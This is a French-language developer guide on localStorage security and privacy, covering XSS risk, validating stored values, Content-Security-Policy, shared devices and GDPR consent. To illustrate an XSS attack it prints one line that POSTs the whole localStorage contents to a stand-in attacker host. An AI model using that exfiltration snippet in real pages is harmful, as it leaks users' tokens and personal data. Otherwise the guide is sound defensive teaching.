localStorage : sécurité et confidentialité
Le principe
Section intitulée « Le principe »localStorage est lisible et modifiable par tout script de la page et par l’utilisateur (outils de développement). Il n’offre aucune confidentialité ni aucune intégrité : une donnée stockée est une donnée exposée et non fiable.
Ce qu’il ne faut pas stocker
Section intitulée « Ce qu’il ne faut pas stocker »| À ne pas stocker | Pourquoi | Alternative |
|---|---|---|
| Jetons d’authentification, identifiants de session | Volés par un script injecté (XSS) | Cookie HttpOnly; Secure; SameSite défini par le serveur |
| Mots de passe, clés d’API, clés privées | Lisibles par n’importe quel script | Jamais côté navigateur |
| Données personnelles sensibles (santé, finances, pièces d’identité) | Exposées en cas de XSS ou d’accès à l’appareil | Serveur, avec contrôle d’accès |
| Droits ou rôles utilisés pour autoriser | Modifiables par l’utilisateur | Vérification côté serveur |
| Prix, remises, totaux de commande | Modifiables par l’utilisateur | Recalcul côté serveur |
Le risque XSS
Section intitulée « Le risque XSS »Une faille XSS permet à un attaquant d’exécuter du JavaScript dans la page : il peut alors lire tout le stockage de l’origine.
// Ce que ferait un script injectéfetch('https://attaquant.exemple/vol', { method: 'POST', body: JSON.stringify(localStorage),});Réduire le risque :
- Échapper toute donnée affichée (les frameworks le font par défaut ; éviter
innerHTML,dangerouslySetInnerHTML,set:html,v-htmlavec une donnée non fiable). - Mettre en place une Content-Security-Policy restrictive (voir plus bas).
- Limiter les scripts tiers (publicité, mesure d’audience) : ils s’exécutent avec les mêmes droits que votre code.
- Garder les dépendances à jour (
npm audit).
Valider ce qu’on lit
Section intitulée « Valider ce qu’on lit »Une valeur lue peut avoir été modifiée à la main, par une ancienne version de l’application ou par un autre script. La traiter comme une entrée utilisateur :
const THEMES = ['light', 'dark'];
export function lireTheme() { let valeur = null; try { valeur = localStorage.getItem('theme'); } catch {} return THEMES.includes(valeur) ? valeur : 'light';}import { z } from 'zod';
const schema = z.object({ theme: z.enum(['light', 'dark']), taillePolice: z.number().min(10).max(32),});
const lu = schema.safeParse( JSON.parse(localStorage.getItem('preferences') ?? 'null'),);const preferences = lu.success ? lu.data : { theme: 'light', taillePolice: 16 };Ne jamais insérer une valeur lue dans le HTML sans l’échapper, ni l’évaluer (eval, new Function), ni l’utiliser dans une URL ou une requête sans validation.
Content-Security-Policy
Section intitulée « Content-Security-Policy »Une politique de sécurité de contenu limite les scripts exécutables, ce qui réduit l’impact d’une injection :
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'Avec Caddy :
exemple.com { header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'"}Une politique stricte impose d’éviter les scripts en ligne (ou de les autoriser par nonce/empreinte) : la tester avec Content-Security-Policy-Report-Only avant de la rendre bloquante (voir Caddy : exemples réutilisables).
Chiffrer côté navigateur ?
Section intitulée « Chiffrer côté navigateur ? »Chiffrer les données avant de les stocker (API Web Crypto) protège contre la lecture directe du disque, mais pas contre un script injecté : il lit aussi la clé (ou la demande à l’utilisateur). Cela ne remplace ni la protection XSS ni le stockage côté serveur. À réserver à des cas particuliers, avec une clé dérivée d’un secret saisi par l’utilisateur.
Appareils partagés
Section intitulée « Appareils partagés »Les données restent sur l’appareil jusqu’à suppression. Sur un poste partagé :
- Proposer une action « Se déconnecter et effacer mes données ».
- Ne pas stocker d’information personnelle sans nécessité.
- Prévoir l’effacement lors de la déconnexion :
function deconnexion() { ['panier', 'brouillon', 'profil'].forEach((cle) => { try { localStorage.removeItem('monapp:' + cle); } catch {} });}Vie privée et consentement
Section intitulée « Vie privée et consentement »Écrire ou lire des informations sur l’appareil de l’utilisateur est encadré en Europe (directive ePrivacy, RGPD) : le consentement est requis, sauf pour ce qui est strictement nécessaire au service demandé. Un thème mémorisé à la demande de l’utilisateur est en général considéré comme nécessaire à sa préférence ; un identifiant de suivi, une mesure d’audience ou de la publicité ne le sont pas. Ces règles s’appliquent à tous les traceurs, pas seulement aux cookies : consulter les recommandations de l’autorité de protection des données (en France, la CNIL) et un conseil juridique pour un service réel.
Bonnes pratiques :
- Ne stocker que le nécessaire, pour une durée limitée.
- Informer dans la politique de confidentialité.
- Ne pas déposer de traceur avant d’avoir le consentement quand il est requis.
- Le site de ce guide n’en dépend pas : une préférence de thème est le seul usage de ce type.
Vérifier ce qui est stocké
Section intitulée « Vérifier ce qui est stocké »console.table( Object.entries(localStorage).map(([cle, valeur]) => ({ cle, taille: valeur.length, })),);Auditer régulièrement : clés inconnues, données personnelles, volumes anormaux. Les scripts tiers peuvent aussi écrire dans le stockage de l’origine.
Isoler les origines
Section intitulée « Isoler les origines »Le stockage est lié à l’origine : héberger du contenu non fiable (téléversements d’utilisateurs, pages générées) sur un autre domaine que l’application empêche ce contenu de lire le stockage de l’application. Éviter de servir des fichiers HTML téléversés depuis la même origine.
Dépannage
Section intitulée « Dépannage »| Symptôme | Piste |
|---|---|
| Un jeton est visible dans le stockage | Le déplacer dans un cookie HttpOnly défini par le serveur |
| Données modifiées par l’utilisateur | Normal : valider à la lecture, recalculer côté serveur |
| Données lisibles par un script tiers | Retirer ou isoler le script ; politique CSP |
| Valeur injectée affichée comme HTML | Échapper, ne pas utiliser innerHTML avec une donnée non fiable |
| Données restantes après déconnexion | Prévoir l’effacement à la déconnexion |
Ubuntu 24.04 et 26.04 : différences à connaître
Section intitulée « Ubuntu 24.04 et 26.04 : différences à connaître »Aucune. Les données de Firefox se trouvent dans le profil de l’utilisateur (avec le paquet snap, sous ~/snap/firefox/common/.mozilla/firefox/) : elles sont protégées par les droits du compte, pas chiffrées par défaut.